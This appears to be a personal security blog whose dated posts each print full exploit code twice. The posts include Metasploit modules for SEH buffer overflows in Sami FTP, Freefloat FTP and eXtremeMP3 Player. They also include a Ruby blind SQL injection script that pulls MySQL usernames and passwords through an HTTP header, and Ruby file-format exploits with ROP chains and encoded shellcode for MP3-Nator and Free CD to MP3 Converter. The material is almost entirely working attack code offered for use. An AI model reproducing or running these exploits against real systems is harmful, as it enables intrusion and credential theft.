notes for me!
How to configure cekai astro remote control to work with old decoder
Press menu+004 (don't release menu key while key-in 004)
Saturday, March 9, 2013
Sami FTP Pre-Authentication SEH Buffer Overflow
##
# Exploit Title: Sami FTP Pre-Authentication SEH Buffer Overflow
# Date: Mar 08 2013
# Exploit Author: Muhamad fadzil Ramli <fadzil@motivsolution.asia>
# Vendor Homepage: http://www.karjasoft.com
# Software Link: http://www.karjasoft.com/old.php
# Version: 2.0.1
# Tested on: Microsoft Windows XP Pro SP3
#
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Seh
include Msf::Exploit::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Sami FTP Server Pre-Auth SEH Buffer Overflow',
'Description' => %q{
This module exploits a SEH stack-based buffer overflow in Sami FTP server 2.0.1.
Sami FTP server fails to check input size when parsing USER commands, which
leads to a stack based buffer overflow when are viewed under Log tab.
},
'License' => MSF_LICENSE,
'Author' =>
[
'superkojiman', # Original discovery
'Muhamad Fadzil Ramli <fadzil@motivsolution.asia>', # MSF Module
],
'References' =>
[
[ 'OSVDB', '<none>' ],
[ 'CVE', '<none>' ],
[ 'URL', '<none>' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'thread', #none/process/thread/seh
#'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x20\x2f", # <change if needed>
'DisableNops' => true,
},
'Targets' =>
[
[ 'Microsoft Windows XP Pro SP3',
{
'Ret' => 0x10025669, # pop edi # pop ebx # ret - tmp0.dll
'Offset' => 452
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Mar 08 2013',
'DefaultTarget' => 0))
register_options([Opt::RPORT(21)], self.class)
end
def exploit
connect
badchars = "\x00\x0a\x0d\x20\x2f"
eggoptions = { :startreg => 'eax', :checksum => 'true', :eggtag => 'w00t' }
hunter, egg = generate_egghunter( payload.encoded, badchars, eggoptions )
buffer = rand_text(target['Offset']) #junk
buffer << generate_seh_record(target.ret)
buffer << make_nops(16)
buffer << hunter
buffer << egg # our payload
buffer << rand_text_alpha(100) # junk
print_status("Egg size: #{egg.length}")
print_status("Payload size: #{buffer.length}")
print_status("Trying target #{target.name}...")
send_cmd(['USER',buffer],false)
print_status("Please wait...lalalala..")
sleep(45) # waiting for magic to happen!!
handler
disconnect
end
end
# Exploit Title: Sami FTP Pre-Authentication SEH Buffer Overflow
# Date: Mar 08 2013
# Exploit Author: Muhamad fadzil Ramli <fadzil@motivsolution.asia>
# Vendor Homepage: http://www.karjasoft.com
# Software Link: http://www.karjasoft.com/old.php
# Version: 2.0.1
# Tested on: Microsoft Windows XP Pro SP3
#
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Seh
include Msf::Exploit::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Sami FTP Server Pre-Auth SEH Buffer Overflow',
'Description' => %q{
This module exploits a SEH stack-based buffer overflow in Sami FTP server 2.0.1.
Sami FTP server fails to check input size when parsing USER commands, which
leads to a stack based buffer overflow when are viewed under Log tab.
},
'License' => MSF_LICENSE,
'Author' =>
[
'superkojiman', # Original discovery
'Muhamad Fadzil Ramli <fadzil@motivsolution.asia>', # MSF Module
],
'References' =>
[
[ 'OSVDB', '<none>' ],
[ 'CVE', '<none>' ],
[ 'URL', '<none>' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'thread', #none/process/thread/seh
#'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x20\x2f", # <change if needed>
'DisableNops' => true,
},
'Targets' =>
[
[ 'Microsoft Windows XP Pro SP3',
{
'Ret' => 0x10025669, # pop edi # pop ebx # ret - tmp0.dll
'Offset' => 452
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Mar 08 2013',
'DefaultTarget' => 0))
register_options([Opt::RPORT(21)], self.class)
end
def exploit
connect
badchars = "\x00\x0a\x0d\x20\x2f"
eggoptions = { :startreg => 'eax', :checksum => 'true', :eggtag => 'w00t' }
hunter, egg = generate_egghunter( payload.encoded, badchars, eggoptions )
buffer = rand_text(target['Offset']) #junk
buffer << generate_seh_record(target.ret)
buffer << make_nops(16)
buffer << hunter
buffer << egg # our payload
buffer << rand_text_alpha(100) # junk
print_status("Egg size: #{egg.length}")
print_status("Payload size: #{buffer.length}")
print_status("Trying target #{target.name}...")
send_cmd(['USER',buffer],false)
print_status("Please wait...lalalala..")
sleep(45) # waiting for magic to happen!!
handler
disconnect
end
end
Friday, October 28, 2011
HTTP Header :: SQL Injection
simple script i wrote during a pentest for a customer, nothing fancy just practical :D
#!/usr/bin/env ruby
# network penetration test (10/2011)
# http header blind sql injection
require "net/http"
require "uri"
STDOUT.sync = true
@url = URI.parse("http://xxx.xxxx.xxx")
def fuxx(data)
req = Net::HTTP::Get.new(@url.path)
req.add_field("X-Forwarded-For", "#{data}")
t_start = Time.now.to_i
res = Net::HTTP.new(@url.host, @url.port).start do |http|
http.request(req)
end
t_stop = Time.now.to_i
timer = t_stop - t_start
return timer
end
(1..58).each { |i|
(32..126).each { |ch|
data = "1' AND (SELECT IF(ASCII(SUBSTRING((SELECT CONCAT(user,0x3a,password) FROM mysql.user LIMIT 2,1),#{i},1))>#{ch},NULL,BENCHMARK(1500000,MD5(CHAR(118)))))>'0"
if (fuxx(data) > 4)
print ch.chr
break
end
}
}
#!/usr/bin/env ruby
# network penetration test (10/2011)
# http header blind sql injection
require "net/http"
require "uri"
STDOUT.sync = true
@url = URI.parse("http://xxx.xxxx.xxx")
def fuxx(data)
req = Net::HTTP::Get.new(@url.path)
req.add_field("X-Forwarded-For", "#{data}")
t_start = Time.now.to_i
res = Net::HTTP.new(@url.host, @url.port).start do |http|
http.request(req)
end
t_stop = Time.now.to_i
timer = t_stop - t_start
return timer
end
(1..58).each { |i|
(32..126).each { |ch|
data = "1' AND (SELECT IF(ASCII(SUBSTRING((SELECT CONCAT(user,0x3a,password) FROM mysql.user LIMIT 2,1),#{i},1))>#{ch},NULL,BENCHMARK(1500000,MD5(CHAR(118)))))>'0"
if (fuxx(data) > 4)
print ch.chr
break
end
}
}
Monday, January 17, 2011
eXtremeMP3 Player 2.0 buffer overflow (SEH - Egghunter)
##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# Security Team: Intranium Sdn Bhd, Malaysia
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
include Msf::Exploit::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'eXtremeMP3 Player 2.0 (m3u file) buffer overflow (SEH)',
'Description' => %q{
This module exploits a seh-based buffer overflow in eXtremeMP3 Player 2.0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'C4SS!0 G0M3S', # original exploit
'Muhamad Fadzil Ramli - mind1355[at]gmail[dot]com', # metasploit module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/15994/' ],
],
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00\x0a\x0d\x30",
'StackAdjustment'=> -1500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 & SP2 (EN)', { 'Ret' => 0x00401A2D } ], # POP ECX/POP EAX/RET [xtremeplaylist.exe]
# Tested on Win XP SP3 Version 5.1.2600 [OK]
# Tested on WIn XP SP2 [OK]
],
'Privileged' => false,
'DisclosureDate' => 'Jan 15 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'crash.m3u']),
], self.class)
end
def exploit
badchars = ''
eggoptions = { :startreg => 'eax', :checksum => true, :eggtag => 'w00t' }
hunter, egg = generate_egghunter(payload.encoded, badchars, eggoptions)
fsploit = ''
fsploit << make_nops(1024)
fsploit << egg
fsploit << rand_text_alpha_upper(3244 - fsploit.length) # PADDING
fsploit << [0x76B2D577].pack('V') # JMP ESP [atl.dll]
fsploit << hunter
fsploit << rand_text_alpha_upper(4112 - fsploit.length) # PADDING
fsploit << [0xc3616161].pack('V') # POPAD/POPAD/POPAD/RET
fsploit << [target.ret].pack('V') # POP ECX/POP EAX/RET [xtremeplaylist.exe]
fsploit << rand_text_alpha_upper(8)
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(fsploit)
end
end
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# Security Team: Intranium Sdn Bhd, Malaysia
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
include Msf::Exploit::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'eXtremeMP3 Player 2.0 (m3u file) buffer overflow (SEH)',
'Description' => %q{
This module exploits a seh-based buffer overflow in eXtremeMP3 Player 2.0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'C4SS!0 G0M3S', # original exploit
'Muhamad Fadzil Ramli - mind1355[at]gmail[dot]com', # metasploit module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/15994/' ],
],
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00\x0a\x0d\x30",
'StackAdjustment'=> -1500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 & SP2 (EN)', { 'Ret' => 0x00401A2D } ], # POP ECX/POP EAX/RET [xtremeplaylist.exe]
# Tested on Win XP SP3 Version 5.1.2600 [OK]
# Tested on WIn XP SP2 [OK]
],
'Privileged' => false,
'DisclosureDate' => 'Jan 15 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'crash.m3u']),
], self.class)
end
def exploit
badchars = ''
eggoptions = { :startreg => 'eax', :checksum => true, :eggtag => 'w00t' }
hunter, egg = generate_egghunter(payload.encoded, badchars, eggoptions)
fsploit = ''
fsploit << make_nops(1024)
fsploit << egg
fsploit << rand_text_alpha_upper(3244 - fsploit.length) # PADDING
fsploit << [0x76B2D577].pack('V') # JMP ESP [atl.dll]
fsploit << hunter
fsploit << rand_text_alpha_upper(4112 - fsploit.length) # PADDING
fsploit << [0xc3616161].pack('V') # POPAD/POPAD/POPAD/RET
fsploit << [target.ret].pack('V') # POP ECX/POP EAX/RET [xtremeplaylist.exe]
fsploit << rand_text_alpha_upper(8)
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(fsploit)
end
end
Wednesday, December 8, 2010
Freefloat FTP Server Buffer Overflow Vulnerability (MSF)
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Freefloat FTP <= 1.00 Stack Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in Freefloat FTP service version 1.00.
This module uses the USER command to trigger the overflow.
},
'Author' =>
[
'0v3r', # original version
'Muhamad Fadzil Ramli' # metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'EDB', '15689' ],
[ 'URL', 'http://www.freefloat.com/software/freefloatftpserver.zip' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'RPORT' => 21
},
'Privileged' => false,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x0a\x0d\xff\x20",
'StackAdjustment' => -3500,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 (EN)', { 'Ret' => 0x5AD86AEB } ], # push esp, ret [uxtheme.dll]
],
'DisclosureDate' => 'December 5 2010',
'DefaultTarget' => 0))
deregister_options('FTPUSER','FTPPASS')
end
def check
connect
disconnect
if (banner =~ /FreeFloat Ftp Server \(Version 1\.00\)/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
print_status("Trying target #{target.name}...")
buf = rand_text_alpha(230)
buf << [target.ret].pack('V')
buf << make_nops(16)
buf << payload.encoded
#buf << rand_text_alpha(1000 - buf.length)
#send_cmd( ['USER',buf],false )
send_user(buf)
handler
disconnect
end
end
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Freefloat FTP <= 1.00 Stack Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in Freefloat FTP service version 1.00.
This module uses the USER command to trigger the overflow.
},
'Author' =>
[
'0v3r', # original version
'Muhamad Fadzil Ramli' # metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'EDB', '15689' ],
[ 'URL', 'http://www.freefloat.com/software/freefloatftpserver.zip' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'RPORT' => 21
},
'Privileged' => false,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x0a\x0d\xff\x20",
'StackAdjustment' => -3500,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 (EN)', { 'Ret' => 0x5AD86AEB } ], # push esp, ret [uxtheme.dll]
],
'DisclosureDate' => 'December 5 2010',
'DefaultTarget' => 0))
deregister_options('FTPUSER','FTPPASS')
end
def check
connect
disconnect
if (banner =~ /FreeFloat Ftp Server \(Version 1\.00\)/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
print_status("Trying target #{target.name}...")
buf = rand_text_alpha(230)
buf << [target.ret].pack('V')
buf << make_nops(16)
buf << payload.encoded
#buf << rand_text_alpha(1000 - buf.length)
#send_cmd( ['USER',buf],false )
send_user(buf)
handler
disconnect
end
end
Thursday, November 18, 2010
Exploit Buffer Overflow MP3-Nator (SEH - DEP BYPASS)
# Exploit Title: Exploit Buffer Overflow MP3-Nator (SEH - DEP BYPASS)# Date: 18-11-2010 |
# Author: Muhamad Fadzil Ramli - mind1355[at]gmail[dot]com |
# Credit/Bug Found By: C4SS!0 G0M3S |
# Software Link: http://www.brothersoft.com/d.php?soft_id=16524&url=http://files.brothersoft.com/mp3_audio/players/mp3nator.zip |
# Version: 2.0 |
# Tested on: Windows XP SP3 EN - Latest Update (VMWARE FUSION - Version 3.1.1) |
# CVE: N/A |
|
#! /usr/bin/env ruby |
filename = 'crash.plf' |
# ./msfpayload windows/exec CMD=calc EXITFUNC=seh R | ./msfencode -e x86/alpha_mixed -b '\x00' -t ruby |
# [*] x86/alpha_mixed succeeded with size 456 (iteration=1) |
shellcode = |
"\x89\xe3\xda\xcf\xd9\x73\xf4\x58\x50\x59\x49\x49\x49\x49" + |
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" + |
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" + |
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" + |
"\x42\x75\x4a\x49\x49\x6c\x4d\x38\x4d\x59\x47\x70\x43\x30" + |
"\x47\x70\x43\x50\x4e\x69\x48\x65\x50\x31\x48\x52\x43\x54" + |
"\x4c\x4b\x51\x42\x46\x50\x4e\x6b\x50\x52\x44\x4c\x4c\x4b" + |
"\x50\x52\x46\x74\x4e\x6b\x51\x62\x45\x78\x46\x6f\x4c\x77" + |
"\x43\x7a\x47\x56\x50\x31\x49\x6f\x45\x61\x49\x50\x4e\x4c" + |
"\x47\x4c\x45\x31\x43\x4c\x47\x72\x44\x6c\x51\x30\x4f\x31" + |
"\x48\x4f\x46\x6d\x43\x31\x49\x57\x4b\x52\x4a\x50\x46\x32" + |
"\x43\x67\x4c\x4b\x46\x32\x46\x70\x4e\x6b\x43\x72\x47\x4c" + |
"\x47\x71\x48\x50\x4c\x4b\x47\x30\x43\x48\x4b\x35\x4b\x70" + |
"\x50\x74\x43\x7a\x47\x71\x4e\x30\x42\x70\x4c\x4b\x51\x58" + |
"\x42\x38\x4c\x4b\x42\x78\x51\x30\x46\x61\x48\x53\x49\x73" + |
"\x47\x4c\x43\x79\x4e\x6b\x44\x74\x4e\x6b\x45\x51\x49\x46" + |
"\x46\x51\x49\x6f\x45\x61\x4b\x70\x4c\x6c\x4f\x31\x48\x4f" + |
"\x46\x6d\x43\x31\x4a\x67\x47\x48\x4d\x30\x50\x75\x48\x74" + |
"\x47\x73\x43\x4d\x4a\x58\x45\x6b\x43\x4d\x47\x54\x42\x55" + |
"\x4b\x52\x50\x58\x4c\x4b\x50\x58\x45\x74\x47\x71\x4e\x33" + |
"\x51\x76\x4e\x6b\x44\x4c\x42\x6b\x4e\x6b\x46\x38\x45\x4c" + |
"\x45\x51\x4e\x33\x4e\x6b\x44\x44\x4c\x4b\x46\x61\x4a\x70" + |
"\x4f\x79\x50\x44\x44\x64\x44\x64\x51\x4b\x43\x6b\x51\x71" + |
"\x43\x69\x50\x5a\x42\x71\x4b\x4f\x4d\x30\x46\x38\x43\x6f" + |
"\x50\x5a\x4c\x4b\x47\x62\x48\x6b\x4f\x76\x43\x6d\x43\x5a" + |
"\x43\x31\x4c\x4d\x4e\x65\x48\x39\x45\x50\x47\x70\x47\x70" + |
"\x46\x30\x42\x48\x46\x51\x4e\x6b\x42\x4f\x4e\x67\x49\x6f" + |
"\x4e\x35\x4d\x6b\x4b\x4e\x46\x6e\x44\x72\x4a\x4a\x50\x68" + |
"\x4c\x66\x4a\x35\x4f\x4d\x4f\x6d\x4b\x4f\x48\x55\x47\x4c" + |
"\x47\x76\x43\x4c\x46\x6a\x4d\x50\x4b\x4b\x4d\x30\x44\x35" + |
"\x45\x55\x4f\x4b\x47\x37\x47\x63\x43\x42\x50\x6f\x51\x7a" + |
"\x45\x50\x42\x73\x4b\x4f\x49\x45\x45\x33\x43\x51\x50\x6c" + |
"\x51\x73\x45\x50\x47\x7a\x41\x41" |
junk1 = 'A' * 28 |
# ROP1 |
rop1 = '' |
rop1 << [0x71ABDAC3].pack('V') # PUSH ESP # POP ESI # RETN [Module : WS2_32.dll] |
rop1 << [0x71ABDC56].pack('V') # MOV EAX,ESI # POP ESI # RETN [Module : WS2_32.dll] |
rop1 << "DEAD" # PADDING |
rop1 << [0x1001595E].pack('V') # ADD ESP,20 # RETN - xaudio.dll |
# VIRTUALPROTECT PARAMETERS |
params = '' |
params << [0x7C801AD4].pack('V') # VirtualProtect |
params << 'WWWW' # return address [ PARAM #1 ] |
params << 'XXXX' # lpAddress [ PARAM #2 ] |
params << 'YYYY' # Size [ PARAM #3 ] |
params << 'ZZZZ' # flNewProtect [ PARAM #4 ] |
params << [0x5ADA1005].pack('V') # writeable address |
params << 'BEEF' * 2 # PADDING |
# ROP2 - [ PARAM #1 ] |
rop2 = '' |
rop2 << [0x775D1578].pack('V') # PUSH EAX # POP ESI # RETN [Module : ole32.dll] |
rop2 << [0x77C4EC2B].pack('V') # ADD EAX,100 # POP EBP # RETN [Module : msvcrt.dll] |
rop2 << "BEEF" # PADDING |
rop2 << [0x77C4EC2B].pack('V') # ADD EAX,100 # POP EBP # RETN [Module : msvcrt.dll] |
rop2 << 'BEEF' # PADDING |
rop2 << [0x77E8416B].pack('V') # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN [Module : RPCRT4.dll] |
rop2 << 'BEEF' |
# ROP2 - [ PARAM #2 ] |
rop2 << [0x775D1578].pack('V') # PUSH EAX # POP ESI # RETN [Module : ole32.dll] |
rop2 << [0x77C4EC2B].pack('V') # ADD EAX,100 # POP EBP # RETN [Module : msvcrt.dll] |
rop2 << 'BEEF' # PADDING |
rop2 << [0x77157D1D].pack('V') * 4 # INC ESI # RETN [Module : oleaut32.dll] |
rop2 << [0x77E8416B].pack('V') # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN [Module : RPCRT4.dll] |
rop2 << 'BEEF' |
# rop2 - [ PARAM #3 ] |
rop2 << [0x775D1578].pack('V') # PUSH EAX # POP ESI # RETN [Module : ole32.dll] |
rop2 << [0x77E8559E].pack('V') # XOR EAX,EAX # RETN [Module : RPCRT4.dll] |
rop2 << [0x77C4EC2B].pack('V') # ADD EAX,100 # POP EBP # RETN [Module : msvcrt.dll] |
rop2 << 'BEEF' # PADDING |
rop2 << [0x77C4EC2B].pack('V') # ADD EAX,100 # POP EBP # RETN [Module : msvcrt.dll] |
rop2 << 'BEEF' # PADDING |
rop2 << [0x77C4EC2B].pack('V') # ADD EAX,100 # POP EBP # RETN [Module : msvcrt.dll] |
rop2 << 'BEEF' # PADDING |
rop2 << [0x77157D1D].pack('V') * 4 # INC ESI # RETN [Module : oleaut32.dll] |
rop2 << [0x77E8416B].pack('V') # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN [Module : RPCRT4.dll] |
rop2 << 'BEEF' |
# rop2 - [ PARAM #4 ] |
rop2 << [0x775D1578].pack('V') # PUSH EAX # POP ESI # RETN [Module : ole32.dll] |
rop2 << [0x77E8559E].pack('V') # XOR EAX,EAX # RETN [Module : RPCRT4.dll] |
rop2 << [0x77C4EC1D].pack('V') # ADD EAX,40 # POP EBP # RETN [Module : msvcrt.dll] |
rop2 << 'BEEF' # PADDING |
rop2 << [0x77157D1D].pack('V') * 4 # INC ESI # RETN [Module : oleaut32.dll] |
rop2 << [0x77E8416B].pack('V') # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN [Module : RPCRT4.dll] |
rop2 << 'BEEF' |
# POINT ESP TO VIRTUALPROTECT |
rop2 << [0x7475B960].pack('V') # XCHG EAX,ESP # RETN [Module : MSCTF.dll] |
nops = "\x90" * 310 |
junk1 = junk1 + rop1 + params + rop2 + nops + shellcode + 'A' * (4112 - (junk1 + rop1 + params + rop2 + nops + shellcode).length) |
seh = [0x10019C35].pack('V') # ADD ESP,41C # RETN - xaudio.dll |
junk2 = 'C' * (10000 - (junk1 + seh).length) |
xploit = junk1 + seh + junk2 |
File.open(filename,'w') do |fd| |
fd.write xploit |
puts "file size : #{xploit.length.to_s}" |
end
Wednesday, November 10, 2010
Free CD to MP3 Converter 3.1 Buffer Overflow Exploit (SEH - EGGHUNTER)
# Exploit Title: Free CD to MP3 Converter 3.1 Buffer Overflow Exploit (SEH)
# Date: 10/18/10
# Credit/Bug found by: C4SS!0 G0M3S
# Software Link: http://www.eusing.com/Download/cdtomp3freeware.exe
# Version: 3.1
# Tested on: Windows XP SP3 EN (VMWARE FUSION - Version 3.1.1)
# CVE: N/A
#! /usr/bin/env ruby
filename = 'crash.wav'
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
shellcode = ''
shellcode << "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc"
shellcode << "\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
shellcode << "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85"
shellcode << "\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5"
shellcode << "\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c"
shellcode << "\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21"
shellcode << "\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5"
shellcode << "\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27"
shellcode << "\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3"
shellcode << "\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53"
shellcode << "\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f"
shellcode << "\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6"
shellcode << "\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8"
shellcode << "\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode << "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f"
shellcode << "\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca"
egghunter = ''
egghunter << "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
egghunter << "\x77\x30\x30\x74"
egghunter << "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
junk1 = 'A' * 4156
nseh = [0x06eb9090].pack('V') # jmp short 6 byte
seh = [0x00409F8C].pack('V') # cdextract.exe
nops = "\x90" * 50
junk2 = 'B' * (10000 - (junk1 + nseh + seh + nops + egghunter + nops + "w00tw00t" + shellcode).length)
xploit = junk1 + nseh + seh + nops + egghunter + nops + "w00tw00t" + shellcode + junk2
File.open(filename,'w') do |fd|
fd.write xploit
puts "xploit file size : #{xploit.length.to_s}"
end
# Date: 10/18/10
# Credit/Bug found by: C4SS!0 G0M3S
# Software Link: http://www.eusing.com/Download/cdtomp3freeware.exe
# Version: 3.1
# Tested on: Windows XP SP3 EN (VMWARE FUSION - Version 3.1.1)
# CVE: N/A
#! /usr/bin/env ruby
filename = 'crash.wav'
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
shellcode = ''
shellcode << "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc"
shellcode << "\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
shellcode << "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85"
shellcode << "\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5"
shellcode << "\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c"
shellcode << "\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21"
shellcode << "\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5"
shellcode << "\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27"
shellcode << "\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3"
shellcode << "\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53"
shellcode << "\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f"
shellcode << "\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6"
shellcode << "\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8"
shellcode << "\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode << "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f"
shellcode << "\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca"
egghunter = ''
egghunter << "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
egghunter << "\x77\x30\x30\x74"
egghunter << "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
junk1 = 'A' * 4156
nseh = [0x06eb9090].pack('V') # jmp short 6 byte
seh = [0x00409F8C].pack('V') # cdextract.exe
nops = "\x90" * 50
junk2 = 'B' * (10000 - (junk1 + nseh + seh + nops + egghunter + nops + "w00tw00t" + shellcode).length)
xploit = junk1 + nseh + seh + nops + egghunter + nops + "w00tw00t" + shellcode + junk2
File.open(filename,'w') do |fd|
fd.write xploit
puts "xploit file size : #{xploit.length.to_s}"
end
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